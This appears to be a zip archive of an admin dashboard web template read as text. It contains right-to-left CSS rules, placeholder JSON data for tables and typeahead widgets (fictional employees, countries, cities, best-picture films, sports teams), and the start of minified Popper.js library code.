[dir="rtl"] .invoice-total .table th { text-align: left; } [dir="rtl"] .invoice-total .table tbody { padding-right: 0; padding-left: 65px; float: left; } [dir="rtl"] .dataTable-table > thead > tr > th { text-align: right; } [dir="rtl"] .dataTable-sorter::before, [dir="rtl"] .dataTable-sorter::after { left: 4px; right: auto; } [dir="rtl"] .auth-wrapper .auth-content .card .auth-img-content { margin: 0 auto 0 0; } [dir="rtl"] .auth-wrapper.auth-v2 .bg-auth-side { left: 0; right: 50%; transform: skewX(8deg); } [dir="rtl"] .auth-wrapper.auth-v3 .bg-auth-side { left: 20px; right: 50%; }PKZf!__json/file-upload.phpnu[ PKZkݕ,,json/datatable.jsonnu[[ { "Name": "Unity Pugh", "Ext.": "9958", "City": "Curicó", "Start Date": "2005/02/11" }, { "Name": "Theodore Duran", "Ext.": "8971", "City": "Dhanbad", "Start Date": "1999/04/07" }, { "Name": "Kylie Bishop", "Ext.": "3147", "City": "Norman", "Start Date": "2005/09/08" }, { "Name": "Willow Gilliam", "Ext.": "3497", "City": "Amqui", "Start Date": "2009/29/11" }, { "Name": "Blossom Dickerson", "Ext.": "5018", "City": "Kempten", "Start Date": "2006/11/09" }, { "Name": "Elliott Snyder", "Ext.": "3925", "City": "Enines", "Start Date": "2006/03/08" }, { "Name": "Castor Pugh", "Ext.": "9488", "City": "Neath", "Start Date": "2014/23/12" }, { "Name": "Pearl Carlson", "Ext.": "6231", "City": "Cobourg", "Start Date": "2014/31/08" }, { "Name": "Deirdre Bridges", "Ext.": "1579", "City": "Eberswalde-Finow", "Start Date": "2014/26/08" }, { "Name": "Daniel Baldwin", "Ext.": "6095", "City": "Moircy", "Start Date": "2000/11/01" }, { "Name": "Phelan Kane", "Ext.": "9519", "City": "Germersheim", "Start Date": "1999/16/04" }, { "Name": "Quentin Salas", "Ext.": "1339", "City": "Los Andes", "Start Date": "2011/26/01" }, { "Name": "Armand Suarez", "Ext.": "6583", "City": "Funtua", "Start Date": "1999/06/11" }, { "Name": "Gretchen Rogers", "Ext.": "5393", "City": "Moxhe", "Start Date": "1998/26/10" }, { "Name": "Harding Thompson", "Ext.": "2824", "City": "Abeokuta", "Start Date": "2008/06/08" }, { "Name": "Mira Rocha", "Ext.": "4393", "City": "Port Harcourt", "Start Date": "2002/04/10" }, { "Name": "Drew Phillips", "Ext.": "2931", "City": "Goes", "Start Date": "2011/18/10" }, { "Name": "Emerald Warner", "Ext.": "6205", "City": "Chiavari", "Start Date": "2002/08/04" }, { "Name": "Colin Burch", "Ext.": "7457", "City": "Anamur", "Start Date": "2004/02/01" }, { "Name": "Russell Haynes", "Ext.": "8916", "City": "Frascati", "Start Date": "2015/28/04" }, { "Name": "Brennan Brooks", "Ext.": "9011", "City": "Olmué", "Start Date": "2000/18/04" }, { "Name": "Kane Anthony", "Ext.": "8075", "City": "LaSalle", "Start Date": "2006/21/05" }, { "Name": "Scarlett Hurst", "Ext.": "1019", "City": "Brampton", "Start Date": "2015/07/01" }, { "Name": "James Scott", "Ext.": "3008", "City": "Meux", "Start Date": "2007/30/05" }, { "Name": "Desiree Ferguson", "Ext.": "9054", "City": "Gojra", "Start Date": "2009/15/02" }, { "Name": "Elaine Bishop", "Ext.": "9160", "City": "Petrópolis", "Start Date": "2008/23/12" }, { "Name": "Hilda Nelson", "Ext.": "6307", "City": "Posina", "Start Date": "2004/23/05" }, { "Name": "Evangeline Beasley", "Ext.": "3820", "City": "Caplan", "Start Date": "2009/12/03" }, { "Name": "Wyatt Riley", "Ext.": "5694", "City": "Cavaion Veronese", "Start Date": "2012/19/02" }, { "Name": "Wyatt Mccarthy", "Ext.": "3547", "City": "Patan", "Start Date": "2014/23/06" }, { "Name": "Cairo Rice", "Ext.": "6273", "City": "Ostra Vetere", "Start Date": "2016/27/02" }, { "Name": "Sylvia Peters", "Ext.": "6829", "City": "Arrah", "Start Date": "2015/03/02" }, { "Name": "Kasper Craig", "Ext.": "5515", "City": "Firenze", "Start Date": "2015/26/04" }, { "Name": "Leigh Ruiz", "Ext.": "5112", "City": "Lac Ste. Anne", "Start Date": "2001/09/02" }, { "Name": "Athena Aguirre", "Ext.": "5741", "City": "Romeral", "Start Date": "2010/24/03" }, { "Name": "Riley Nunez", "Ext.": "5533", "City": "Sart-Eustache", "Start Date": "2003/26/02" }, { "Name": "Lois Talley", "Ext.": "9393", "City": "Dorchester", "Start Date": "2014/05/01" }, { "Name": "Hop Bass", "Ext.": "1024", "City": "Westerlo", "Start Date": "2012/25/09" }, { "Name": "Kalia Diaz", "Ext.": "9184", "City": "Ichalkaranji", "Start Date": "2013/26/06" }, { "Name": "Maia Pate", "Ext.": "6682", "City": "Louvain-la-Neuve", "Start Date": "2011/23/04" }, { "Name": "Macaulay Pruitt", "Ext.": "4457", "City": "Fraser-Fort George", "Start Date": "2015/03/08" }, { "Name": "Danielle Oconnor", "Ext.": "9464", "City": "Neuwied", "Start Date": "2001/05/10" }, { "Name": "Kato Carr", "Ext.": "4842", "City": "Faridabad", "Start Date": "2012/11/05" }, { "Name": "Malachi Mejia", "Ext.": "7133", "City": "Vorst", "Start Date": "2007/25/04" }, { "Name": "Dominic Carver", "Ext.": "3476", "City": "Pointe-aux-Trembles", "Start Date": "2014/14/03" }, { "Name": "Paki Santos", "Ext.": "4424", "City": "Cache Creek", "Start Date": "2001/18/11" }, { "Name": "Ross Hodges", "Ext.": "1862", "City": "Trazegnies", "Start Date": "2010/19/09" }, { "Name": "Hilda Whitley", "Ext.": "3514", "City": "New Sarepta", "Start Date": "2011/05/07" }, { "Name": "Roth Cherry", "Ext.": "4006", "City": "Flin Flon", "Start Date": "2008/02/09" }, { "Name": "Lareina Jones", "Ext.": "8642", "City": "East Linton", "Start Date": "2009/07/08" }, { "Name": "Joshua Weiss", "Ext.": "2289", "City": "Saint-L�onard", "Start Date": "2010/15/01" }, { "Name": "Kiona Lowery", "Ext.": "5952", "City": "Inuvik", "Start Date": "2002/17/12" }, { "Name": "Nina Rush", "Ext.": "7567", "City": "Bo‘lhe", "Start Date": "2008/27/01" }, { "Name": "Palmer Parker", "Ext.": "2000", "City": "Stade", "Start Date": "2012/24/07" }, { "Name": "Vielka Olsen", "Ext.": "3745", "City": "Vrasene", "Start Date": "2016/08/01" }, { "Name": "Meghan Cunningham", "Ext.": "8604", "City": "Söke", "Start Date": "2007/16/02" }, { "Name": "Iola Shaw", "Ext.": "6447", "City": "Albany", "Start Date": "2014/05/03" }, { "Name": "Imelda Cole", "Ext.": "4564", "City": "Haasdonk", "Start Date": "2007/16/11" }, { "Name": "Jerry Beach", "Ext.": "6801", "City": "Gattatico", "Start Date": "1999/07/07" }, { "Name": "Garrett Rocha", "Ext.": "3938", "City": "Gavorrano", "Start Date": "2000/06/08" }, { "Name": "Derek Kerr", "Ext.": "1724", "City": "Gualdo Cattaneo", "Start Date": "2014/21/01" }, { "Name": "Shad Hudson", "Ext.": "5944", "City": "Salamanca", "Start Date": "2014/10/12" }, { "Name": "Daryl Ayers", "Ext.": "8276", "City": "Barchi", "Start Date": "2012/12/11" }, { "Name": "Caleb Livingston", "Ext.": "3094", "City": "Fatehpur", "Start Date": "2014/13/02" }, { "Name": "Sydney Meyer", "Ext.": "4576", "City": "Neubrandenburg", "Start Date": "2015/06/02" }, { "Name": "Lani Lawrence", "Ext.": "8501", "City": "Turnhout", "Start Date": "2008/07/05" }, { "Name": "Allegra Shepherd", "Ext.": "2576", "City": "Meeuwen-Gruitrode", "Start Date": "2004/19/04" }, { "Name": "Fallon Reyes", "Ext.": "3178", "City": "Monceau-sur-Sambre", "Start Date": "2005/15/02" }, { "Name": "Karen Whitley", "Ext.": "4357", "City": "Sluis", "Start Date": "2003/02/05" }, { "Name": "Stewart Stephenson", "Ext.": "5350", "City": "Villa Faraldi", "Start Date": "2003/05/07" }, { "Name": "Ursula Reynolds", "Ext.": "7544", "City": "Southampton", "Start Date": "1999/16/12" }, { "Name": "Adrienne Winters", "Ext.": "4425", "City": "Laguna Blanca", "Start Date": "2014/15/09" }, { "Name": "Francesca Brock", "Ext.": "1337", "City": "Oban", "Start Date": "2000/12/06" }, { "Name": "Ursa Davenport", "Ext.": "7629", "City": "New Plymouth", "Start Date": "2013/27/06" }, { "Name": "Mark Brock", "Ext.": "3310", "City": "Veenendaal", "Start Date": "2006/08/09" }, { "Name": "Dale Rush", "Ext.": "5050", "City": "Chicoutimi", "Start Date": "2000/27/03" }, { "Name": "Shellie Murphy", "Ext.": "3845", "City": "Marlborough", "Start Date": "2013/13/11" }, { "Name": "Porter Nicholson", "Ext.": "4539", "City": "Bismil", "Start Date": "2012/22/10" }, { "Name": "Oliver Huber", "Ext.": "1265", "City": "Hannche", "Start Date": "2002/11/01" }, { "Name": "Calista Maynard", "Ext.": "3315", "City": "Pozzuolo del Friuli", "Start Date": "2006/23/03" }, { "Name": "Lois Vargas", "Ext.": "6825", "City": "Cumberland", "Start Date": "1999/25/04" }, { "Name": "Hermione Dickson", "Ext.": "2785", "City": "Woodstock", "Start Date": "2001/22/03" }, { "Name": "Dalton Jennings", "Ext.": "5416", "City": "Dudzele", "Start Date": "2015/09/02" }, { "Name": "Cathleen Kramer", "Ext.": "3380", "City": "Crowsnest Pass", "Start Date": "2012/27/07" }, { "Name": "Zachery Morgan", "Ext.": "6730", "City": "Collines-de-l'Outaouais", "Start Date": "2006/04/09" }, { "Name": "Yoko Freeman", "Ext.": "4077", "City": "Lidköping", "Start Date": "2002/27/12" }, { "Name": "Chaim Waller", "Ext.": "4240", "City": "North Shore", "Start Date": "2010/25/07" }, { "Name": "Berk Johnston", "Ext.": "4532", "City": "Vergnies", "Start Date": "2016/23/02" }, { "Name": "Tad Munoz", "Ext.": "2902", "City": "Saint-Nazaire", "Start Date": "2010/09/05" }, { "Name": "Vivien Dominguez", "Ext.": "5653", "City": "Bargagli", "Start Date": "2001/09/01" }, { "Name": "Carissa Lara", "Ext.": "3241", "City": "Sherborne", "Start Date": "2015/07/12" }, { "Name": "Hammett Gordon", "Ext.": "8101", "City": "Wah", "Start Date": "1998/06/09" }, { "Name": "Walker Nixon", "Ext.": "6901", "City": "Metz", "Start Date": "2011/12/11" }, { "Name": "Nathan Espinoza", "Ext.": "5956", "City": "Strathcona County", "Start Date": "2002/25/01" }, { "Name": "Kelly Cameron", "Ext.": "4836", "City": "Fontaine-Valmont", "Start Date": "1999/02/07" }, { "Name": "Kyra Moses", "Ext.": "3796", "City": "Quenast", "Start Date": "1998/07/07" }, { "Name": "Grace Bishop", "Ext.": "8340", "City": "Rodez", "Start Date": "2012/02/10" }, { "Name": "Haviva Hernandez", "Ext.": "8136", "City": "Suwałki", "Start Date": "2000/30/01" }, { "Name": "Alisa Horn", "Ext.": "9853", "City": "Ucluelet", "Start Date": "2007/01/11" }, { "Name": "Zelenia Roman", "Ext.": "7516", "City": "Redwater", "Start Date": "2012/03/03" } ]PKZ)tW  json/2500.txtnu[{ "aaData": [ [ "1", "Armand", "Warren", "56045", "Taiwan, Province of China" ], [ "2", "Xenos", "Salas", "71090", "Liberia" ], [ "3", "Virginia", "Whitaker", "62723", "Nicaragua" ], [ "4", "Kato", "Patrick", "97662", "Palau" ], [ "5", "Penelope", "Hensley", "76634", "Greenland" ], [ "6", "Georgia", "Erickson", "81358", "Bolivia" ], [ "7", "Shad", "Pena", "20600", "Palestinian Territory, Occupied" ], [ "8", "Tanisha", "Humphrey", "93371", "Kenya" ], [ "9", "Claire", "Espinoza", "I8S 2S8", "Panama" ], [ "10", "Raya", "Tucker", "O8D 8W7", "Botswana" ], [ "11", "Otto", "Briggs", "57590", "Anguilla" ], [ "12", "Logan", "Burt", "53041", "Venezuela" ], [ "13", "Cooper", "Pennington", "36994", "France" ], [ "14", "Kristen", "Peterson", "52917", "Sao Tome and Principe" ], [ "15", "Jordan", "Velasquez", "08884", "Switzerland" ], [ "16", "Zelda", "Freeman", "F9H 1J9", "Holy See (Vatican City State)" ], [ "17", "Mary", "Pacheco", "A7Y 6X9", "Niger" ], [ "18", "Tiger", "Robles", "44533", "Malaysia" ], [ "19", "Zelenia", "Buckner", "Q8N 6E5", "Malawi" ], [ "20", "Coby", "Johnston", "N6I 2O9", "Rwanda" ], [ "21", "Gillian", "Strickland", "12258", "Cook Islands" ], [ "22", "Alfreda", "Mcbride", "K5A 3B6", "Nigeria" ], [ "23", "Laith", "Ford", "19072", "Czech Republic" ], [ "24", "Autumn", "Barton", "U9D 9F4", "Angola" ], [ "25", "Nadine", "Britt", "G4U 8L0", "Liechtenstein" ], [ "26", "Xaviera", "Hart", "T1N 7D2", "Mali" ], [ "27", "Neil", "Page", "T3E 9F4", "Korea" ], [ "28", "Rose", "French", "B7T 8M2", "French Polynesia" ], [ "29", "Alyssa", "Poole", "S1L 2T5", "Yemen" ], [ "30", "Chantale", "Lynch", "97316", "United States" ], [ "31", "Jermaine", "Dawson", "A3H 7A1", "American Samoa" ], [ "32", "Ann", "Giles", "54258", "Korea" ], [ "33", "Jerry", "Carr", "04901", "South Georgia and The South Sandwich Islands" ] ] }PKZYujson/citynames.jsonnu[[ "Amsterdam", "London", "Paris", "Washington", "New York", "Los Angeles", "Sydney", "Melbourne", "Canberra", "Beijing", "New Delhi", "Kathmandu", "Cairo", "Cape Town", "Kinshasa" ]PKZ-  json/cities.jsonnu[[ { "value": 1 , "text": "Amsterdam" , "continent": "Europe" }, { "value": 2 , "text": "London" , "continent": "Europe" }, { "value": 3 , "text": "Paris" , "continent": "Europe" }, { "value": 4 , "text": "Washington" , "continent": "America" }, { "value": 5 , "text": "Mexico City" , "continent": "America" }, { "value": 6 , "text": "Buenos Aires", "continent": "America" }, { "value": 7 , "text": "Sydney" , "continent": "Australia" }, { "value": 8 , "text": "Wellington" , "continent": "Australia" }, { "value": 9 , "text": "Canberra" , "continent": "Australia" }, { "value": 10, "text": "Beijing" , "continent": "Asia" }, { "value": 11, "text": "New Delhi" , "continent": "Asia" }, { "value": 12, "text": "Kathmandu" , "continent": "Asia" }, { "value": 13, "text": "Cairo" , "continent": "Africa" }, { "value": 14, "text": "Cape Town" , "continent": "Africa" }, { "value": 15, "text": "Kinshasa" , "continent": "Africa" } ]PKZppjson/datatable.column.jsonnu[{ "heading": "Completion", "data": [ "37%", "97%", "63%", "30%", "17%", "57%", "93%", "100%", "44%", "33%", "77%", "49%", "9%", "24%", "10%", "14%", "58%", "58%", "34%", "18%", "2%", "93%", "94%", "55%", "81%", "48%", "76%", "62%", "67%", "9%", "13%", "13%", "56%", "28%", "15%", "30%", "51%", "85%", "92%", "50%", "92%", "17%", "96%", "26%", "71%", "82%", "87%", "94%", "8%", "21%", "52%", "72%", "6%", "58%", "70%", "59%", "88%", "79%", "36%", "71%", "89%", "98%", "88%", "8%", "22%", "16%", "41%", "16%", "23%", "65%", "61%", "24%", "90%", "37%", "41%", "2%", "72%", "23%", "94%", "5%", "50%", "2%", "74%", "53%", "51%", "48%", "25%", "93%", "65%", "86%", "72%", "20%", "41%", "47%", "24%", "68%", "4%", "16%", "39%", "31%" ] }PKZ2Fjson/typehead/movies.jsonnu[[ { "year": "1961", "value": "West Side Story", "tokens": [ "West", "Side", "Story" ] }, { "year": "1962", "value": "Lawrence of Arabia", "tokens": [ "Lawrence", "of", "Arabia" ] }, { "year": "1963", "value": "Tom Jones", "tokens": [ "Tom", "Jones" ] }, { "year": "1964", "value": "My Fair Lady", "tokens": [ "My", "Fair", "Lady" ] }, { "year": "1965", "value": "The Sound of Music", "tokens": [ "The", "Sound", "of", "Music" ] }, { "year": "1966", "value": "A Man for All Seasons", "tokens": [ "A", "Man", "for", "All", "Seasons" ] }, { "year": "1967", "value": "In the Heat of the Night", "tokens": [ "In", "the", "Heat", "of", "the", "Night" ] }, { "year": "1968", "value": "Oliver!", "tokens": [ "Oliver!" ] }, { "year": "1969", "value": "Midnight Cowboy", "tokens": [ "Midnight", "Cowboy" ] }, { "year": "1970", "value": "Patton", "tokens": [ "Patton" ] }, { "year": "1971", "value": "The French Connection", "tokens": [ "The", "French", "Connection" ] }, { "year": "1972", "value": "The Godfather", "tokens": [ "The", "Godfather" ] }, { "year": "1973", "value": "The Sting", "tokens": [ "The", "Sting" ] }, { "year": "1974", "value": "The Godfather Part II", "tokens": [ "The", "Godfather", "Part", "II" ] }, { "year": "1975", "value": "One Flew over the Cuckoo's Nest", "tokens": [ "One", "Flew", "over", "the", "Cuckoo's", "Nest" ] }, { "year": "1976", "value": "Rocky", "tokens": [ "Rocky" ] }, { "year": "1977", "value": "Annie Hall", "tokens": [ "Annie", "Hall" ] }, { "year": "1978", "value": "The Deer Hunter", "tokens": [ "The", "Deer", "Hunter" ] }, { "year": "1979", "value": "Kramer vs. Kramer", "tokens": [ "Kramer", "vs.", "Kramer" ] }, { "year": "1980", "value": "Ordinary People", "tokens": [ "Ordinary", "People" ] }, { "year": "1981", "value": "Chariots of Fire", "tokens": [ "Chariots", "of", "Fire" ] }, { "year": "1982", "value": "Gandhi", "tokens": [ "Gandhi" ] }, { "year": "1983", "value": "Terms of Endearment", "tokens": [ "Terms", "of", "Endearment" ] }, { "year": "1984", "value": "Amadeus", "tokens": [ "Amadeus" ] }, { "year": "1985", "value": "Out of Africa", "tokens": [ "Out", "of", "Africa" ] }, { "year": "1986", "value": "Platoon", "tokens": [ "Platoon" ] }, { "year": "1987", "value": "The Last Emperor", "tokens": [ "The", "Last", "Emperor" ] }, { "year": "1988", "value": "Rain Man", "tokens": [ "Rain", "Man" ] }, { "year": "1989", "value": "Driving Miss Daisy", "tokens": [ "Driving", "Miss", "Daisy" ] }, { "year": "1990", "value": "Dances With Wolves", "tokens": [ "Dances", "With", "Wolves" ] }, { "year": "1991", "value": "The Silence of the Lambs", "tokens": [ "The", "Silence", "of", "the", "Lambs" ] }, { "year": "1992", "value": "Unforgiven", "tokens": [ "Unforgiven" ] }, { "year": "1993", "value": "Schindler’s List", "tokens": [ "Schindler’s", "List" ] }, { "year": "1994", "value": "Forrest Gump", "tokens": [ "Forrest", "Gump" ] }, { "year": "1995", "value": "Braveheart", "tokens": [ "Braveheart" ] }, { "year": "1996", "value": "The English Patient", "tokens": [ "The", "English", "Patient" ] }, { "year": "1997", "value": "Titanic", "tokens": [ "Titanic" ] }, { "year": "1998", "value": "Shakespeare in Love", "tokens": [ "Shakespeare", "in", "Love" ] }, { "year": "1999", "value": "American Beauty", "tokens": [ "American", "Beauty" ] }, { "year": "2000", "value": "Gladiator", "tokens": [ "Gladiator" ] }, { "year": "2001", "value": "A Beautiful Mind", "tokens": [ "A", "Beautiful", "Mind" ] }, { "year": "2002", "value": "Chicago", "tokens": [ "Chicago" ] }, { "year": "2003", "value": "The Lord of the Rings: The Return of the King", "tokens": [ "The", "Lord", "of", "the", "Rings:", "The", "Return", "of", "the", "King" ] }, { "year": "2004", "value": "Million Dollar Baby", "tokens": [ "Million", "Dollar", "Baby" ] }, { "year": "2005", "value": "Crash", "tokens": [ "Crash" ] }, { "year": "2006", "value": "The Departed", "tokens": [ "The", "Departed" ] }, { "year": "2007", "value": "No Country for Old Men", "tokens": [ "No", "Country", "for", "Old", "Men" ] }, { "year": "2008", "value": "Slumdog Millionaire", "tokens": [ "Slumdog", "Millionaire" ] }, { "year": "2009", "value": "The Hurt Locker", "tokens": [ "The", "Hurt", "Locker" ] }, { "year": "2010", "value": "The King's Speech", "tokens": [ "The", "King's", "Speech" ] }, { "year": "2011", "value": "The Artist", "tokens": [ "The", "Artist" ] }, { "year": "2012", "value": "Argo", "tokens": [ "Argo" ] } ]PKZ$json/typehead/nhl.jsonnu[[{ "team": "New Jersey Devils" },{ "team": "New York Islanders" },{ "team": "New York Rangers" },{ "team": "Philadelphia Flyers" },{ "team": "Pittsburgh Penguins" },{ "team": "Chicago Blackhawks" },{ "team": "Columbus Blue Jackets" },{ "team": "Detroit Red Wings" },{ "team": "Nashville Predators" },{ "team": "St. Louis Blues" },{ "team": "Boston Bruins" },{ "team": "Buffalo Sabres" },{ "team": "Montreal Canadiens" },{ "team": "Ottawa Senators" },{ "team": "Toronto Maple Leafs" },{ "team": "Calgary Flames" },{ "team": "Colorado Avalanche" },{ "team": "Edmonton Oilers" },{ "team": "Minnesota Wild" },{ "team": "Vancouver Canucks" },{ "team": "Carolina Hurricanes" },{ "team": "Florida Panthers" },{ "team": "Tampa Bay Lightning" },{ "team": "Washington Capitals" },{ "team": "Winnipeg Jets" },{ "team": "Anaheim Ducks" },{ "team": "Dallas Stars" },{ "team": "Los Angeles Kings" },{ "team": "Phoenix Coyotes" },{ "team": "San Jose Sharks" }] PKZJjson/typehead/nba.jsonnu[[{ "team": "Boston Celtics" },{ "team": "Dallas Mavericks" },{ "team": "Brooklyn Nets" },{ "team": "Houston Rockets" },{ "team": "New York Knicks" },{ "team": "Memphis Grizzlies" },{ "team": "Philadelphia 76ers" },{ "team": "New Orleans Hornets" },{ "team": "Toronto Raptors" },{ "team": "San Antonio Spurs" },{ "team": "Chicago Bulls" },{ "team": "Denver Nuggets" },{ "team": "Cleveland Cavaliers" },{ "team": "Minnesota Timberwolves" },{ "team": "Detroit Pistons" },{ "team": "Portland Trail Blazers" },{ "team": "Indiana Pacers" },{ "team": "Oklahoma City Thunder" },{ "team": "Milwaukee Bucks" },{ "team": "Utah Jazz" },{ "team": "Atlanta Hawks" },{ "team": "Golden State Warriors" },{ "team": "Charlotte Bobcats" },{ "team": "Los Angeles Clippers" },{ "team": "Miami Heat" },{ "team": "Los Angeles Lakers" },{ "team": "Orlando Magic" },{ "team": "Phoenix Suns" },{ "team": "Washington Wizards" },{ "team": "Sacramento Kings" }] PKZ.[ [ json/typehead/countries.jsonnu[["Andorra","United Arab Emirates","Afghanistan","Antigua and Barbuda","Anguilla","Albania","Armenia","Angola","Antarctica","Argentina","American Samoa","Austria","Australia","Aruba","Åland","Azerbaijan","Bosnia and Herzegovina","Barbados","Bangladesh","Belgium","Burkina Faso","Bulgaria","Bahrain","Burundi","Benin","Saint Barthélemy","Bermuda","Brunei","Bolivia","Bonaire","Brazil","Bahamas","Bhutan","Bouvet Island","Botswana","Belarus","Belize","Canada","Cocos [Keeling] Islands","Congo","Central African Republic","Republic of the Congo","Switzerland","Ivory Coast","Cook Islands","Chile","Cameroon","China","Colombia","Costa Rica","Cuba","Cape Verde","Curacao","Christmas Island","Cyprus","Czechia","Germany","Djibouti","Denmark","Dominica","Dominican Republic","Algeria","Ecuador","Estonia","Egypt","Western Sahara","Eritrea","Spain","Ethiopia","Finland","Fiji","Falkland Islands","Micronesia","Faroe Islands","France","Gabon","United Kingdom","Grenada","Georgia","French Guiana","Guernsey","Ghana","Gibraltar","Greenland","Gambia","Guinea","Guadeloupe","Equatorial Guinea","Greece","South Georgia and the South Sandwich Islands","Guatemala","Guam","Guinea-Bissau","Guyana","Hong Kong","Heard Island and McDonald Islands","Honduras","Croatia","Haiti","Hungary","Indonesia","Ireland","Israel","Isle of Man","India","British Indian Ocean Territory","Iraq","Iran","Iceland","Italy","Jersey","Jamaica","Jordan","Japan","Kenya","Kyrgyzstan","Cambodia","Kiribati","Comoros","Saint Kitts and Nevis","North Korea","South Korea","Kuwait","Cayman Islands","Kazakhstan","Laos","Lebanon","Saint Lucia","Liechtenstein","Sri Lanka","Liberia","Lesotho","Lithuania","Luxembourg","Latvia","Libya","Morocco","Monaco","Moldova","Montenegro","Saint Martin","Madagascar","Marshall Islands","Macedonia","Mali","Myanmar [Burma]","Mongolia","Macao","Northern Mariana Islands","Martinique","Mauritania","Montserrat","Malta","Mauritius","Maldives","Malawi","Mexico","Malaysia","Mozambique","Namibia","New Caledonia","Niger","Norfolk Island","Nigeria","Nicaragua","Netherlands","Norway","Nepal","Nauru","Niue","New Zealand","Oman","Panama","Peru","French Polynesia","Papua New Guinea","Philippines","Pakistan","Poland","Saint Pierre and Miquelon","Pitcairn Islands","Puerto Rico","Palestine","Portugal","Palau","Paraguay","Qatar","Réunion","Romania","Serbia","Russia","Rwanda","Saudi Arabia","Solomon Islands","Seychelles","Sudan","Sweden","Singapore","Saint Helena","Slovenia","Svalbard and Jan Mayen","Slovakia","Sierra Leone","San Marino","Senegal","Somalia","Suriname","South Sudan","São Tomé and Príncipe","El Salvador","Sint Maarten","Syria","Swaziland","Turks and Caicos Islands","Chad","French Southern Territories","Togo","Thailand","Tajikistan","Tokelau","East Timor","Turkmenistan","Tunisia","Tonga","Turkey","Trinidad and Tobago","Tuvalu","Taiwan","Tanzania","Ukraine","Uganda","U.S. Minor Outlying Islands","United States","Uruguay","Uzbekistan","Vatican City","Saint Vincent and the Grenadines","Venezuela","British Virgin Islands","U.S. Virgin Islands","Vietnam","Vanuatu","Wallis and Futuna","Samoa","Kosovo","Yemen","Mayotte","South Africa","Zambia","Zimbabwe"]PKZu: js/vendor-all.jsnu[/*============================== popover js ============================== */ /** * @popperjs/core v2.5.4 - MIT License */ "use strict";!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e=e||self).Popper={})}(this,(function(e){function t(e){return{width:(e=e.getBoundingClientRect()).width,height:e.height,top:e.top,right:e.right,bottom:e.bottom,left:e.left,x:e.left,y:e.top}}function n(e){return"[object Window]"!==e.toString()?(e=e.ownerDocument)&&e.defaultView||window:e}function r(e){return{scrollLeft:(e=n(e)).pageXOffset,scrollTop:e.pageYOffset}}function o(e){return e instanceof n(e).Element||e instanceof Element}function i(e){return e instanceof n(e).HTMLElement||e instanceof HTMLElement}function a(e){return e?(e.nodeName||"").toLowerCase():null}function s(e){return((o(e)?e.ownerDocument:e.document)||window.document).documentElement}function f(e){return t(s(e)).left+r(e).scrollLeft}function c(e){return n(e).getComputedStyle(e)}function p(e){return e=c(e),/auto|scroll|overlay|hidden/.test(e.overflow+e.overflowY+e.overflowX)}function l(e,o,c){void 0===c&&(c=!1);var l=s(o);e=t(e);var u=i(o),d={scrollLeft:0,scrollTop:0},m={x:0,y:0};return(u||!u&&!c)&&(("body"!==a(o)||p(l))&&(d=o!==n(o)&&i(o)?{scrollLeft:o.scrollLeft,scrollTop:o.scrollTop}:r(o)),i(o)?((m=t(o)).x+=o.clientLeft,m.y+=o.clientTop):l&&(m.x=f(l))),{x:e.left+d.scrollLeft-m.x,y:e.top+d.scrollTop-m.y,width:e.width,height:e.height}}function u(e){return{x:e.offsetLeft,y:e.offsetTop,width:e.offsetWidth,height:e.offsetHeight}}function d(e){return"html"===a(e)?e:e.assignedSlot||e.parentNode||e.host||s(e)}function m(e,t){void 0===t&&(t=[]);var r=function e(t){return 0<=["html","body","#document"].indexOf(a(t))?t.ownerDocument.body:i(t)&&p(t)?t:e(d(t))}(e);e="body"===a(r);var o=n(r);return r=e?[o].concat(o.visualViewport||[],p(r)?r:[]):r,t=t.concat(r),e?t:t.concat(m(d(r)))}function h(e){if(!i(e)||"fixed"===c(e).position)return null;if(e=e.offsetParent){var t=s(e);if("body"===a(e)&&"static"===c(e).position&&"static"!==c(t).position)return t}return e}function g(e){for(var t=n(e),r=h(e);r&&0<=["table","td","th"].indexOf(a(r))&&"static"===c(r).position;)r=h(r);if(r&&"body"===a(r)&&"static"===c(r).position)return t;if(!r)e:{for(e=d(e);i(e)&&0>["html","body"].indexOf(a(e));){if("none"!==(r=c(e)).transform||"none"!==r.perspective||r.willChange&&"auto"!==r.willChange){r=e;break e}e=e.parentNode}r=null}return r||t}function v(e){var t=new Map,n=new Set,r=[];return e.forEach((function(e){t.set(e.name,e)})),e.forEach((function(e){n.has(e.name)||function e(o){n.add(o.name),[].concat(o.requires||[],o.requiresIfExists||[]).forEach((function(r){n.has(r)||(r=t.get(r))&&e(r)})),r.push(o)}(e)})),r}function b(e){var t;return function(){return t||(t=new Promise((function(n){Promise.resolve().then((function(){t=void 0,n(e())}))}))),t}}function y(e){return e.split("-")[0]}function O(e,t){var r,o=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if((r=o)&&(r=o instanceof(r=n(o).ShadowRoot)||o instanceof ShadowRoot),r)do{if(t&&e.isSameNode(t))return!0;t=t.parentNode||t.host}while(t);return!1}function w(e){return Object.assign(Object.assign({},e),{},{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function x(e,o){if("viewport"===o){o=n(e);var a=s(e);o=o.visualViewport;var p=a.clientWidth;a=a.clientHeight;var l=0,u=0;o&&(p=o.width,a=o.height,/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||(l=o.offsetLeft,u=o.offsetTop)),e=w(e={width:p,height:a,x:l+f(e),y:u})}else i(o)?((e=t(o)).top+=o.clientTop,e.left+=o.clientLeft,e.bottom=e.top+o.clientHeight,e.right=e.left+o.clientWidth,e.width=o.clientWidth,e.height=o.clientHeight,e.x=e.left,e.y=e.top):(u=s(e),e=s(u),l=r(u),o=u.ownerDocument.body,p=Math.max(e.scrollWidth,e.clientWidth,o?o.scrollWidth:0,o?o.clientWidth:0),a=Math.max(e.scrollHeight,e.clientHeight,o?o.scrollHeight:0,o?o.clientHeight:0),u=-l.scrollLeft+f(u),l=-l.scrollTop,"rtl"===c(o||e).direction&&(u+=Math.max(e.clientWidth,o?o.clientWidth:0)-p),e=w({width:p,height:a,x:u,y:l}));return e}function j(e,t,n){return t="clippingParents"===t?function(e){var t=m(d(e)),n=0<=["absolute","fixed"].indexOf(c(e).position)&&i(e)?g(e):e;return o(n)?t.filter((function(e){return o(e)&&O(e,n)&&"body"!==a(e)})):[]}(e):[].concat(t),(n=(n=[].concat(t,[n])).reduce((function(t,n){return n=x(e,n),t.top=Math.max(n.top,t.top),t.right=Math.min(n.right,t.right),t.bottom=Math.min(n.bottom,t.bottom),t.left=Math.max(n.left,t.left),t}),x(e,n[0]))).width=n.right-n.left,n.height=n.bottom-n.top,n.x=n.left,n.y=n.top,n}function 